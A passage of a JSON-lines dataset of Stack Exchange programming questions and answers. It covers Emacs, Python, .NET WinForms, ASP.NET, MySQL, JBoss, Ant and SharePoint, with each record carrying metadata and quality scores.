"collected_at": "2026-01-17T15:28:28.476365"}
{"id": "hf_98d53e5aa196", "question": "<p>I would like to use the ispell-buffer command in Emacs. It uses the English language by default. Is there an easy way to switch to another dictionary (for example, another language)?</p>\n", "question_body": "", "answer": "From the file ispell.el you may specify some options for the\n```\nispell\n```\ncommands. This happens by adding a section to the end of your file like this:\n```\n```\n;; Local Variables:\n;; ispell-check-comments: exclusive\n;; ispell-local-dictionary: \"american\"\n;; End:\n```\n```\nNote the double semicolon marks the start of comments in the current mode. It should probably be changed to reflect the way your file (programming language) introduces comments, like\n```\n//\n```\nfor Java.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.545954"}
{"id": "hf_19b2099afbae", "question": "<p>Given the Python function:</p>\n\n<pre><code>def a_method(arg1, arg2):\n    pass\n</code></pre>\n\n<p>How can I extract the number and names of the arguments. I.e., given that I have a reference to <code>func</code>, I want the <code>func.[something]</code> to return <code>(\"arg1\", \"arg2\")</code>.</p>\n\n<p>The usage scenario for this is that I have a decorator, and I wish to use the method arguments in the same order that they appear for the actual function as a key. I.e., how would the decorator look that printed <code>\"a,b\"</code> when I call <code>a_method(\"a\", \"b\")</code>?</p>\n", "question_body": "", "answer": "In CPython, the number of arguments is\n```\n```\na_method.func_code.co_argcount\n```\n```\nand their names are in the beginning of\n```\n```\na_method.func_code.co_varnames\n```\n```\nThese are implementation details of CPython, so this probably does not work in other implementations of Python, such as IronPython and Jython.\nOne portable way to admit \"pass-through\" arguments is to define your function with the signature\n```\nfunc(*args, **kwargs)\n```\n. This is used a lot in e.g.\nmatplotlib\n, where the outer API layer passes lots of keyword arguments to the lower-level API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.729267"}
{"id": "hf_3183640b9017", "question": "<p>I've seen a couple of font topics on SO and it seems a majority of people use monospace fonts for programming tasks. I have been using Verdana for programming for a couple of years and I really like the enhanced readability, without missing anything monospace related.</p>\n\n<p>Why do you use a monospace font?</p>\n", "question_body": "", "answer": "In a monospace font:\nEqual-length string literals look equal.\nIt's easier to see thin punctuation marks like : () {}\nSimilar characters look more different: Il 0O vs\n```\nIl 0O\n```\nYou know whether or not a line will wrap on a window X characters wide. This means that your team can standardize on say 100 character lines and a line will always look like a line", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.753321"}
{"id": "hf_010cb45b9dd9", "question": "<p>How to create instance of AxHost abstract class</p>\n", "question_body": "", "answer": "You cannot create an instance of an abstract class.\nYou typically do not use the AxHost class directly. You can use the Windows Forms ActiveX Control Importer (Aximp.exe) to generate the wrappers that extend AxHost.\nSee\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.axhost.aspx\nfor an example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.793758"}
{"id": "hf_a8262ea07e8b", "question": "<p>I work for a custom cabinetry manufacturer and we write our own pricing program for our product.  I have a form that has a pop-up box so the user can select which side the hinge will be on for ambiguous doors on that cabinet.  I've got that to work so far, but when they copy an item and paste it at the bottom I don't want the pop-up box to come up.  Is there any way in Access VBA to know whether the new record is being pasted or entered manually?</p>\n", "question_body": "", "answer": "Perhaps something on the lines of this would suit.\n```\n```\nOption Compare Database\nPublic gvarPasted As Boolean\n\nPrivate Sub txtText_AfterUpdate()\nIf Not gvarPasted Then\n    'Open pop-up here\nElse\n    gvarPasted = False\nEnd If\nEnd Sub\n\nPrivate Sub txtText_KeyDown(KeyCode As Integer, Shift As Integer)\n'Detect ctrl-V combination\nIf Shift = acCtrlMask And KeyCode = vbKeyV Then\n    gvarPasted = True\nEnd If\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.831146"}
{"id": "hf_3b071fc2abac", "question": "<p>I have been asked to audit any/all changes in a MySQL table. Does anyone know of any tools out there to help me do this or do I need to write my own solution?</p>\n\n<p>If I write my own audting, my initial thought it to make a separate table and build a string of changes in the PHP code. Something like \"fieldname1 -> oldvalue | fieldname2 -> oldvalue, ...\". If you see a major problem with this method, please let me know.</p>\n", "question_body": "", "answer": "Use a\ntrigger\nto detect changes and to write before/after values to a log table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.941743"}
{"id": "hf_016b0226c635", "question": "<p>In .NET, Windows Forms have an event that fires before the Form is loaded (Form.Load), but there is no corresponding event that is fired AFTER the form has loaded.  I would like to execute some logic after the form has loaded.</p>\n\n<p>Can anyone advise on a solution?</p>\n", "question_body": "", "answer": "I sometimes use (in Load)\n```\n```\nthis.BeginInvoke((MethodInvoker) delegate {\n  // some code\n});\n```\n```\nor\n```\n```\nthis.BeginInvoke((MethodInvoker) this.SomeMethod);\n```\n```\n(change \"this\" to your form variable if you are handling the event on an instance other than \"this\").\nThis pushes the invoke onto the windows-forms loop, so it gets processed when the form is processing the message queue.\n[updated on request]\nThe Control.Invoke/Control.BeginInvoke methods are intended for use with threading, and are a mechanism to push work onto the UI thread. Normally this is used by worker threads etc. Control.Invoke does a synchronous call, where-as Control.BeginInvoke does an asynchronous call.\nNormally, these would be used as:\n```\n```\nSomeCodeOrEventHandlerOnAWorkerThread()\n{\n  // this code running on a worker thread...\n  string newText = ExpensiveMethod(); // perhaps a DB/web call\n\n  // now ask the UI thread to update itself\n  this.Invoke((MethodInvoker) delegate {\n      // this code runs on the UI thread!\n      this.Text = newText;\n  });\n}\n```\n```\nIt does this by pushing a message onto the windows message queue; the UI thread (at some point) de-queues the message, processes the delegate, and signals the worker that it completed... so far so good ;-p\nOK; so what happens if we use Control.Invoke / Control.BeginInvoke on the UI thread? It copes... if you call Control.Invoke, it is sensible enough to know that blocking on the message queue would cause an immediate deadlock - so if you are already on the UI thread it simply runs the code immediately... so that doesn't help us...\nBut Control.BeginInvoke works differently: it\nalways\npushes work onto the queue, even it we are already on the UI thread. This makes a really simply way of saying \"in a moment\", but without the inconvenience of timers etc (which would still have to do the same thing anyway!).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.965190"}
{"id": "hf_272263e5cf8a", "question": "<p>I have a <code>GridView</code> control in an Asp.net application, that has a <code>&lt;asp:buttonField&gt;</code> of <code>type=\"image\"</code> and <code>CommandName=\"Delete\"</code>.</p>\n\n<p>Is there any way to execute a piece of javascript before reaching the <code>OnRowDelete</code> event?</p>\n\n<p>I want just a simple confirm before deleting the row.</p>\n\n<p>Thanks!</p>\n\n<p><strong>EDIT</strong>: Please Note that <code>&lt;asp:ButtonField&gt;</code> tag <strong>does not have</strong> an <code>OnClientClick</code> attribute.</p>\n", "question_body": "", "answer": "I would use a TemplateField instead, and populate the ItemTemplate with a regular asp:Button or asp:ImageButton, depending one what is needed. You can then execute the same logic that the RowCommand event was going to do when it intercepted the Delete command.\nOn either of those buttons I would then use the OnClientClick property to execute the JavaScript confirm dialog prior to this.\n```\n```\n<script type=\"text/javascript\">\n   function confirmDelete()\n   {\n       return confirm(\"Are you sure you want to delete this?\");\n   }\n</script>\n\n...\n\n<asp:TemplateField>\n  <ItemTemplate>\n     <asp:ImageButton ID=\"DeleteButton\" runat=\"server\"\n        ImageUrl=\"...\" AlternateText=\"Delete\" ToolTip=\"Delete\"\n        CommandName=\"Delete\" CommandArgument='<%# Eval(\"ID\") %>'\n        OnClientClick=\"return confirmDelete();\" />\n  </ItemTemplate>\n</asp:TemplateField>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:28.989649"}
{"id": "hf_1814a84e6ef7", "question": "<p>I have a problem with Visual C++ 2008. I have installed opencv and I've created a new program and I build it with no errors. However, it complains about not finding MSVCR90D.dll when debugging. In release mode there is no problem at all. </p>\n\n<p>I do have MSVCR90D.dll in one of Winsxs folders. Does anyone know a get-around to this problem? Is this a known bug? </p>\n\n<p>Gerard</p>\n", "question_body": "", "answer": "There are several potential solutions described in this\nforum post\n. See if any of those help.\nOne hint from there:\nGo to %System Drive%\\Windows\\WinSxS\n  and look for the directory\n  x86_Microsoft.VC90.DebugCRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_597c3456\nIf this doesn't exist, go to the VS\n  setup and make sure you have all\n  libraries installed under VC++.\nAnd another one:\nI had the same problem, but fixed it\n  by turning off incremental linking\n  (Project properties... Linker...\n  General... Enable Incremental Linking:\n  No).\nConfirming the last one:\nProjects built on a software-mounted\n  drive complain about a missing\n  MSVCR90D.dll.  The problem goes away\n  if you turn off incremental linking\n  (and rebuild all, of course).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.038897"}
{"id": "hf_011f16137974", "question": "<p>Is there a special project type for creating a WCF to be hosted in IIS?</p>\n", "question_body": "", "answer": "I assume you're talking about VS 2008.\nI can't see a way to have the WCF Service Library template use IIS for hosting. My advice is to create an ASP.NET Web Application, configure it to be IIS hosted, delete the Default.aspx file, and then add the WCF Service to the project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.075061"}
{"id": "hf_16d13fa04690", "question": "<p>I have a form that uses jQuery to submit an ajax post and it serializes the form that is sent up. The code looks like this:</p>\n\n<pre><code>var form = $(\"form\");\nvar action = form.attr(\"action\");\nvar serializedForm = form.serialize();\n$.post(action, serializedForm, function(data)\n{\n  ...\n});\n</code></pre>\n\n<p>The problem here is that if a field has trailing white space, the serialize function will turn those spaces to plus (+) signs, when they should be stripped.</p>\n\n<p>Is there a way to get the fields trimmed <strong>without</strong> doing the following:</p>\n\n<pre><code>$(\"#name\").val( jQuery.trim( $(\"#name\") ) );\n</code></pre>\n", "question_body": "", "answer": "Trim all\n<input>\nand\n<textarea></textarea>\nelement values in the DOM:\n```\n```\n$('input, textarea').each(function(){\n    $(this).val(jQuery.trim($(this).val()));\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.134790"}
{"id": "hf_0b88d8ec4317", "question": "<p>The output of my JSON call can either be an Array or a Hash. How do I distinguish between these two?</p>\n", "question_body": "", "answer": "Is object:\n```\n```\nfunction isObject ( obj ) {\n   return obj && (typeof obj  === \"object\");\n}\n```\n```\nIs array:\n```\n```\nfunction isArray ( obj ) { \n  return isObject(obj) && (obj instanceof Array);\n}\n```\n```\nBecause arrays are objects you'll want to test if a variable is an array first, and then if it is an object:\n```\n```\nif (isArray(myObject)) {\n   // do stuff for arrays\n}\nelse if (isObject(myObject)) {\n   // do stuff for objects\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.158428"}
{"id": "hf_ea74f924ab8e", "question": "<p>I'm in the process of developing a social network site.</p>\n\n<p>And been thinking of scalability from day one of the project, I've fine tuned the site and queries to the best of my ability.</p>\n\n<p>However; Certain pages are very data heavy and I'm not quite sure if they are loading as fast as they could so I was thinking of implementing a distributed caching solution.</p>\n\n<p>But not quite sure what I should cache and not cache. Or if current page load times of 1 second is good or bad.</p>\n\n<p>The heaviest query is grabbing member information this query gets all the member's info and anything related to them such as in this site's case their goals, blog type entries, encouragements, photos, status updates (like twitter), blog info (for crossposting their entries) etc etc.</p>\n\n<p>Anyhow, should I cache this info? And do you think 1 second page load times are reasonably fast? Some pages are less than a second between 4-6 10ths of a second.</p>\n", "question_body": "", "answer": "The page loading question was already asked:\nWhat is considered a good response time for a dynamic, personalized web application?\nIn terms of caching, you have to measure the amount of time that would be spent loading the data each time versus loading from the cache. The bigger the cache, the less effective it becomes. So you don't want to load too much data into the cache. What we use here is a rolling cache, with the least recently used data being dropped once we hit the cache size limit. You then tune the limit according to actual performance results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.181526"}
{"id": "hf_cf2bffe6161f", "question": "<p>I am wondering how the JBoss ExceptionSorter classes are able to check for database errors.</p>\n\n<p>The application (the EJB or persistence framework) is holding the reference to the database Connection, so SQLExceptions are caught by the application. How is JBoss able to see the contents of the exception?</p>\n\n<p>Does JBoss wrap the connection and intercept these messages or something like that?</p>\n", "question_body": "", "answer": "JBoss uses a connection pool for its datasources (org.jboss.resource.adapter.jdbc.local.LocalTxDataSource). The ExceptionSorter takes an SQLException as a parameter which it then just checks for certain strings which map to certain errors. If the errors represent a physical connection problem then they will look somewhat like \"Socket error\" or \"broken pipe\".\nThis Exception Sorter will then return a boolean value representing the state of the connection back to the connection pool which will then invalidate and remove any connections that returned false.\nFor an Oracle database:\n```\n```\n<property name=\"exceptionSorterClassName\"><value>org.jboss.resource.adapter.jdbc.vendor.OracleExceptionSorter</value></property>\n```\n```\nThis will work for an Oracle database. Here is the code for that ExceptionSorter implementation:\nhttp://kickjava.com/src/org/jboss/resource/adapter/jdbc/vendor/OracleExceptionSorter.java.htm\nHow the internal programming of where or how the connection pool checks the connection is unknown to me. Check the JBoss source code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.205225"}
{"id": "hf_3137fdb8f590", "question": "<p>I have three Java <code>JCheckboxes</code> in a column, arranged by setting the layout of the container <code>JPanel</code> to <code>GridLayout(3, 1, 1, 1)</code>.  When I run the program, there is too much vertical space between the JCheckBoxes; it looks like more than 1 pixel.  Since I've already set the vertical space between the JCheckboxes in the layout to be 1 pixel, how else can I reduce the vertical space between these JCheckboxes?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I explored using\n```\nGridLayout\n```\n,\n```\nBorderLayout\n```\n, and\n```\nGridBagLayout\n```\nand I believe that any extra vertical space that is present in your application is due to the sizing of the JCheckBox component, not related to the layout manager. All of the examples below have no space between components in the layout manager.\nGridLayout\n```\n```\n//Changing to 3,1,1,0 makes slightly smaller (1 pixel) gap vertically \nGridLayout layout = new GridLayout( 3, 1, 1, 0 );\nJPanel main = new JPanel( layout );\nmain.add( new JCheckBox( \"box 1\" ) );\nmain.add( new JCheckBox( \"box 2\" ) );\nmain.add( new JCheckBox( \"box 3\" ) );\n```\n```\nGridBagLayout\n```\n```\nGridBagConstraints gbc = new GridBagConstraints();\nJPanel main = new JPanel( new GridBagLayout() );\ngbc.gridx=0;\ngbc.gridy=0;\ngbc.ipady=0;\nmain.add( new JCheckBox( \"box 1\" ), gbc );\ngbc.gridy=1;\nmain.add( new JCheckBox( \"box 2\" ), gbc );\ngbc.gridy=2;\nmain.add( new JCheckBox( \"box 3\" ), gbc );\n```\n```\nBorderLayout\n```\n```\nJPanel main = new JPanel( new BorderLayout() );\nmain.add( new JCheckBox( \"box 1\" ), BorderLayout.NORTH );\nmain.add( new JCheckBox( \"box 2\" ), BorderLayout.CENTER );\nmain.add( new JCheckBox( \"box 3\" ), BorderLayout.SOUTH );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.251826"}
{"id": "hf_8d6250fef3fe", "question": "<p>I need to give users the ability to optionally add metadata to documents. Another way to state this is the fact that users need to add at least 5 categories to a document.</p>\n\n<p>Basically what I want to do is dynamically add metadata (or categories) to a document on an ad hoc basis. Here are the options that I have thought of:</p>\n\n<p><strong>Option 1:</strong>\nShould I do this by dynamically creating new table columns in the database? </p>\n\n<p><strong>Option 2:</strong>\nShould I define 5 columns called attirbute1,attirbute2,attirbute3,attirbute4,attirbute5 and then only use and show them if the user requires the attributes. </p>\n\n<p><strong>Option 3:</strong>\nShould I create a metadata table that keeps track of the columns and the data associated with them? </p>\n\n<p>What do you think is the best way to achieve this? Can you think of any other ways to easily add this functionality. The problem is that the functionality needs to be very generic.</p>\n", "question_body": "", "answer": "Each document has a unique DocumentID.\nJust add another table that has three columns:\n```\nDocumentID\nMetaName\nMetaData\n```\nThen they can add as many pieces of metadata to a given document.  If all their documents use the same metanames then it's trivial to search the metadata.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.310828"}
{"id": "hf_7573f4aad462", "question": "<p>I have data from MySQL showing all organisations a customer got, with all details of employess in each organisation. I want to list each organisation name only once i.e. in a single cell ( row span) and all employees in that organisation against this name like:</p>\n\n<pre><code>Org1     Emp1 Name, Emp1 Phone, Emp1 Address\n         Emp2 Name, Emp2 Phone, Emp2 Address\n\n\nOrg2     Emp1 Name, Emp1 Phone, Emp1 Address\n         Emp2 Name, Emp2 Phone, Emp2 Address\n</code></pre>\n\n<p>How do I display this data because the number of employess for each organisation is not known in advanced, so I do'nt about setting value of rowspan. Similarly how do I start a row for other organisation? Do I have to write two queries?</p>\n\n<p>Many Thanks.</p>\n", "question_body": "", "answer": "Classic.\nWorkaround: only display the name if different than the previous one. You can even not bother about the rowspan (you keep an empty cell).\n```\n```\n$currentOrg = '';\nwhile ($row = mysql_fetch_object($query)) {\n   if ($row->org != $currentOrg) {\n      echo \"$row->org\".\n   }\n   $currentorg = $row->org;\n}\n```\n```\nNot the most beautiful but so simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.358162"}
{"id": "hf_80755e5ce737", "question": "<p>We all know the good old \"disable the submit button\" trick but what are the best ways to handle multiple submissions server side? I have an application where it is absolutely <em>critical</em> that a form only be sent once - it processes a credit card. I didn't write how it is right now but as a quick fix I threw on the disable-on-submit technique, however some impatient users that have javascript disabled are still getting charged twice.</p>\n\n<p>So, what are ways to avoid this? I can think of a few - I have used a few in the past - but I'd like to see if there's any \"best practices\" on how to tackle this one. I am using PHP but I'm more interested in concepts.</p>\n\n<p><strong>edit:</strong> I am aware of the token technique and it is what I have used in the past, this question is more or less to see if my approach is in line with what the rest of you fine programmers use.</p>\n", "question_body": "", "answer": "One really effective way is to submit a token along with the request, and keep a list of used tokens. If the token is not valid, or the token has already been processed, then abort.\nThe token can be as simple as an incrementing integer, stored in a hidden text field, or you can encrypt it to increase security. This feature can be made more robust by generating the token when the page is created, encrypting it, then confirming the token has been generated AND has not been processed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.417399"}
{"id": "hf_4b8acaac0e07", "question": "<p>Is there a best way to turn an integer into its month name in .net?</p>\n\n<p>Obviously I can spin up a datetime  to string it and parse the month name out of there. That just seems like a gigantic waste of time.</p>\n", "question_body": "", "answer": "Why not just use\n```\nsomedatetime.ToString(\"MMMM\")\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.441512"}
{"id": "hf_441c87761918", "question": "<p>I'm trying to connect from my Java application to a development server that has port 8088 closed which is used for RMI. I appreciate any help on how to open that port.</p>\n", "question_body": "", "answer": "Slicehost have some good documentation on setting up iptables on Ubuntu:\nhttp://articles.slicehost.com/2008/4/25/ubuntu-hardy-setup-page-1\nhttp://articles.slicehost.com/2008/9/2/mail-server-opening-ports-in-the-firewall", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.499624"}
{"id": "hf_a74ea4677cc2", "question": "<p>I'm pretty sure one would do this using the os.plock(op) function, but I have no idea how. Also, if there's a better way, I'd be grateful to find out. Code snippets are very welcome. </p>\n", "question_body": "", "answer": "This is pretty much Python-independent!  It's a classic example of Unix interprocess communication.  One good option is to use\n```\npopen()\n```\nto open a pipe between the parent and child processes, and pass data/messages back and forth along the pipe.\nTake a look at the\n```\nsubprocess\n```\nmodule\n, which can set up the necessary pipes automatically while spawning child processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.522958"}
{"id": "hf_71b69cc69c86", "question": "<p>Is there a simple Model Checker tool. I am planning to implement a model checker tool which will analyze the code for some of the predefined properties.</p>\n", "question_body": "", "answer": "CBMC\nis one simple-ish tool I'm aware of that actually operates on code.  Model checking in general is a heavily-researched field, but as folks have already commented, this breadth makes it difficult to suggest something with the info provided.  There are thousands of SAT solvers, formal tools for HDL/state machine verification, and plenty of commercial static source analyzers.\nIn any case, CBMC is a good tool, but don't take my word for it; Ed Clarke, the main faculty member behind this work, won the Turing Award this year ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.546390"}
{"id": "hf_49198a3317eb", "question": "<p>I want to use Sharepoint with python (C-Python)</p>\n\n<p>Has anyone tried this before ?</p>\n", "question_body": "", "answer": "SharePoint exposes several web services which you can use to query and update data.\nI'm not sure what web service toolkits there are for Python but they should be able to build proxies for these services without any issues.\nThis article should give you enough information to get started.\nhttp://www.developer.com/tech/article.php/3104621", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.581877"}
{"id": "hf_ecb3a73dad80", "question": "<p>We have inherited an ant build file but now need to deploy to both 32bit and 64bit systems.</p>\n\n<p>The non-Java bits are done with GNUMakefiles where we just call \"uname\" to get the info.  Is there a similar or even easier way to mimic this with ant?</p>\n", "question_body": "", "answer": "You can just pass a parameter into the build file with the value you want. For example, if your target is\n```\ndist\n```\n:\n```\n```\nant -Dbuild.target=32 dist\n```\n```\nor\n```\n```\nant -Dbuild.target=64 dist\n```\n```\nand then in your Ant build script, take different actions depending on the value of the\n```\n${build.target}\n```\nproperty (you can also use\nconditions\nto set a default value for the property if it is not set).\nOr, you can check the value of the\nbuilt-in\nsystem properties\n, such as\n```\n${os.arch}\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.617542"}
{"id": "hf_e191f98db9de", "question": "<p>I am still new to sharepoint and would like to know if it is possible to make a query that works across several lists. My list looks like this</p>\n\n<p>Customers (id, name and so forth)\nOrders ( id, order number, customer and some additional info)\nOrderItems (id, name, price, description and so on)</p>\n\n<p>I would like to create a view that will display the OrderItems grouped by Order which again will be grouped by Customer.</p>\n\n<p>In pure .net code that is pretty easy but is it possible to implement it only using sharepoint lists?</p>\n", "question_body": "", "answer": "Without custom code or third party components you would have only a few options. Using SharePoint Designer to create a Data View or creating a custom Query with some complex CAML which I'm not even sure is entirely possible.\nPersonally I would look more towards using Master Detail functionality using a combination of web part connections and filtering. By activating Enterprise features you have available a number of Filter Web Parts that should be able to be combined to filter lists to selected values.\nPersonally I have gone with custom code to bring back list data based on queries and then used the GetDataTable() method of the SPListItemCollection object. Once you have the list items in DataTables you have numerouse ways to sort filter and aggregate the information.\nI should add to this that there is a great article on displaying information from a dataset using the SPGridView and SPMenuField. Once you have your DataTables you could establish relationships in a dataset to display the information using these controls:\nhttp://blogs.msdn.com/powlo/archive/2007/02/25/displaying-custom-data-through-sharepoint-lists-using-spgridview-and-spmenufield.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.669432"}
{"id": "hf_5a13d3474f0c", "question": "<p>If I view the HTML generated by one of my Jasper reports in IE7 I see the following: </p>\n\n<pre><code>&lt;BR /&gt;&lt;BR /&gt;\n&lt;A name=\"JR_PAGE_ANCHOR_0_1\"&gt;\n&lt;TABLE style=\"WIDTH: 1000px\" cellSpacing=\"0\" cellPadding=\"0\" bgColor=\"#ffffff\" border=\"0\"&gt;\n&lt;-- table body omitted --&gt;\n&lt;/TABLE&gt;\n</code></pre>\n\n<p>The two BR tags are added via the JRHtmlExporterParameter.HTML_HEADER parameter. After these tags and before the beginning of the report table that there's an unclosed anchor tag that is generated by Jasper reports. The fact that this tag is not correctly closed is messing up the formatting of my report because IE is hyperlinking the entire report TABLE. I'm not using this anchor tag, so if I could prevent Jasper from generating it, that would solve my problem.</p>\n\n<p>Incidentally, this problem only occurs in IE, in Firefox everything works fine because the anchor tag is properly closed.</p>\n\n<p>Thanks in advance,\nDon</p>\n", "question_body": "", "answer": "That's odd code, the\n```\n<br />\n```\ntags are XHTML-style, while the unclosed\n```\na\n```\ntags are good old HTML, like the upper case tag names. If you serve such page with plain HTML header/content-type, perhaps IE will be happy.\nWhen you write that Firefox closes the tag, I suppose you mean it correctly doesn't extend the hyperlink span over block tags. Note that FF's view source can display closing tags that are not there when you save the page to disk!\nFrankly, I don't know if you can get rid of these anchors with some config. If nobody comes with a real solution, maybe you can download Jasper's source code and search JR_PAGE_ANCHOR in it, looking if the code generating it is conditionally driven.\nOr, if you can, you can apply post-processing of the generated code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.693443"}
{"id": "hf_849587b42340", "question": "<p>Our clients use a vb6 version of our software.</p>\n\n<p>We are upgrading them to a .NET application written in C#...</p>\n\n<p>Is there less bulk using .net 2.0 than .net 3.5?</p>\n\n<p>My definition of less bulk would be: Smaller size, smaller installation time, etc.</p>\n\n<p>Most of them probably already have 2.0 anyway.</p>\n\n<p>I only ask because I would like to take advantage of LINQ in 3.5.</p>\n", "question_body": "", "answer": "If you would like to take advantage of LINQ, then go for 3.5! I find there's not more 'bulk' when using it myself, but unless you want to use LINQ, then either is fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:29.740219"}
